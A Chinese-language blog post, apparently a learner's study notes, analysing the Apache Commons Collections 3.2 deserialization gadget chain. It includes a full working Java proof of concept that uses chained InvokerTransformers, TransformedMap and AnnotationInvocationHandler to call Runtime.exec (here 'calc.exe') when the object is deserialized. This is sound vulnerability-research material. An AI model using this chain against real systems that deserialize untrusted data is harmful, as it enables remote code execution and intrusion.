当前位置:   article > 正文

Java安全研究——反序列化漏洞之CC链

cc链

0x01前言

apache commons-collections组件下的反序列化漏洞,自从该组件被爆出漏洞后,许多安全研究员相继挖掘到java多种组件的漏洞,危害严重。本人也是初学Java审计不久,技术薄弱,所以在此做一个cc链的学习总结,如有错误还请大佬指出。

若本文有侵权行为,请立即私信,将全面修正。

0x02漏洞环境

JDK1.8

Apache Commons Collections 3.2版本

0x03反序列化漏洞

序列化是将对象的状态信息转换为可以存储或传输的形式的过程,通俗的说,就是将对象转换成另一种形式,以方便跨平台存储和网络传输。

反序列化则是将上述过程反过来进行的操作。

在Java中任何一个对象必须要实现Serializable接口才可以执行序列化和反序列化操作。

反序列化漏洞成因:Java对象在数据的传输过程中,是以序列化的的数据进行传输,当传输至服务端时进行反序列化操作时,会调用被反序列化对象的readObject()方法。若该类重写了readObject()方法,存在一些危险操作,便会开始执行。

0x04对CC链的研究和复现

在分析前,先看一下大佬的payload,接下来一步步分析

  1. package com.example;
  2. import org.apache.commons.collections.Transformer;
  3. import org.apache.commons.collections.functors.ChainedTransformer;
  4. import org.apache.commons.collections.functors.ConstantTransformer;
  5. import org.apache.commons.collections.functors.InvokerTransformer;
  6. import org.apache.commons.collections.map.TransformedMap;
  7. import java.io.*;
  8. import java.lang.annotation.Target;
  9. import java.lang.reflect.Constructor;
  10. import java.lang.reflect.Method;
  11. import java.util.HashMap;
  12. import java.util.Map;
  13. public class App implements Serializable {
  14. public static void main(String[] args) throws Exception{
  15. //transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组
  16. Transformer[] transformers = new Transformer[]{
  17. new ConstantTransformer(Runtime.class),
  18. new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
  19. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
  20. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
  21. };
  22. //transformedChain: ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作
  23. Transformer transformerChain = new ChainedTransformer(transformers);
  24. //Map数据结构,转换前的Map,Map数据结构内的对象是键值对形式,类比于python的dict
  25. Map map = new HashMap();
  26. map.put("value", "test");
  27. //Map数据结构,转换后的Map
  28. /*
  29. TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。
  30. 第一个参数为待转化的Map对象
  31. 第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)
  32. 第三个参数为Map对象内的value要经过的转化方法。
  33. */
  34. //TransformedMap.decorate(目标Map, key的转化对象(单个或者链或者null), value的转化对象(单个或者链或者null));
  35. Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
  36. //反射机制调用AnnotationInvocationHandler类的构造函数
  37. //forName 获得类名对应的Class对象
  38. Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  39. //通过反射调用私有的的结构:私有方法、属性、构造器
  40. //指定构造器
  41. Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
  42. //取消构造函数修饰符限制,保证构造器可访问
  43. ctor.setAccessible(true);
  44. //获取AnnotationInvocationHandler类实例
  45. //调用此构造器运行时类的对象
  46. Object instance=ctor.newInstance(Target.class, transformedMap);
  47. //序列化
  48. FileOutputStream fileOutputStream = new FileOutputStream("serialize.txt");
  49. ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
  50. objectOutputStream.writeObject(instance);
  51. objectOutputStream.close();
  52. //反序列化
  53. FileInputStream fileInputStream = new FileInputStream("serialize.txt");
  54. ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
  55. Object result = objectInputStream.readObject();
  56. objectInputStream.close();
  57. System.out.println(result);
  58. }
  59. }

1)Tranformer接口

通过对大佬文章的学习,漏洞主要运用ChainedTransformer、ConstantTransformer、InvokerTransformer这三个类。这三个类都是实现了Transformer接口的类,该接口包含了一个transform方法,以使每个实现了该接口的类可以进行固定类型的转化。

  1. package org.apache.commons.collections;
  2. public interface Transformer {
  3. public Object transform(Object input);
  4. }

ConstantTransformer类的transform方法

该类中的transform方法:接受一个对象返回一个常量,无论接收什么对象都返回 iConstant。

 InvokerTransformer类中的transform方法

该类中的transform方法:接收一个对象,通过Java的反射机制获取该对象的运行时类和方法,并进行反射调用。其中方法值、参数等均是可控的。

 ChainedTransformer类中的transform方法

该类 中的transform方法:当传入的是一个数组时候,开始循环读取,对每个参数都会调用transform方法,并将前一个对象的transform方法的返回值,当作下一个对象的transfrom方法的参数值进行调用。

 到目前为止,我们先对payload的核心利用链进行分析

a)这是一个构造好的Transformer数组,包含三个上面所提到的类的对象

b)new一个ChainedTransformer类的对象,将transformer数组传入。经过ChainedTransformer把数组中的类链接到一起,构成调用链。

c)此时直接调用transformerChain的transform方法便可以执行。简单说一下过程:

        首先得到Runtime.class,接着通过反射调用获取到Runtime.getRuntime( ),此时并未开始执行,随后通过invoke方法将Runtime.getRuntime( )唤醒执行,得到了Runtime实例对象,最后获取到Runtime实例的exec方法,并执行calc.exe。

        注:详情请见大佬文章Java反序列化漏洞分析 - FreeBuf网络安全行业门户

2)TransformedMap类

在1)上讲解了不同的实现了Tranformer接口的类中transform方法的链式执行,这只是我们手动去写代码进行执行。而该cc链要如何利用?从1)中的核心链执行结果来看,就是要找到ChainedTransformer类中的transform方法在哪里被调用了,然后继续寻找上层的调用,最终寻找到readObject方法。

a)TransformedMap类中 checkSetValue 中调用了 transform 方法

看一下他的构造函数

接收一个Map,并将keyTransformer、valueTransformer进行赋值,但是构造方法是protected类型。

b)向上寻找,找到了decorate方法,返回一个可以自定义的TransformedMap类

3)AbstractInputCheckedMapDecorator类

这里面的静态内部类MapEntry的setValue方法调用了2)中 checkSetValue方法,同时TransformedMap类是AbstractInputCheckedMapDecorator类的子类,再去寻找其父类

有一个点:TransformedMap类继承于-->AbstractInputCheckedMapDecorator.MapEntry类继承于-->AbstractMapEntryDecorator类实现了-->Map.Entry接口,因此我们便可以利用Map来使代码执行。

也就是payload中的

 4)AnnotationInvocationHandler类

这里需要导入sun包源码,方便调试,导入方法大佬们应该都会,我就不写了

源码下载地址:jdk8u/jdk8u/jdk: af660750b2f4

继续寻找上层的调用函数,去寻找哪个方法调用了setValue方法,AnnotationInvocationHandler类中的readObject方法调用了setValue方法,终于找到了readObject方法,这正是我们想要的。

看一下readObject方法代码,发现了setValue方法。

 看一下构造函数,这个Map我们可以控制,可以利用我们上面构造好的map。

5)序列化和反序列化

payload最后这部分就很简单了,获取AnnotationInvocationHandler类的对象并将我们构造好的transformedMap传入,反序列化之后,就会造成反序列化漏洞。 

0x05结束语

开始研究Java安全,有一个星期左右,狂补各种Java基础和开发基础,也仅仅是做了一个学习笔记,以后自己可以翻看。

用了三天时间,参考各类大佬的文章,终于搞懂了CC链。本文也是简单分析了CC链的过程,比较浅显,尚有不足,很多细节还需要去学习。

 参考链接:

Java安全入门(二)——CC链1 分析+详解_ErYao7的博客-CSDN博客

Java反序列化漏洞分析 - FreeBuf网络安全行业门户

    

        

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/你好赵伟/article/detail/694790
推荐阅读
相关标签
  

闽ICP备14008679号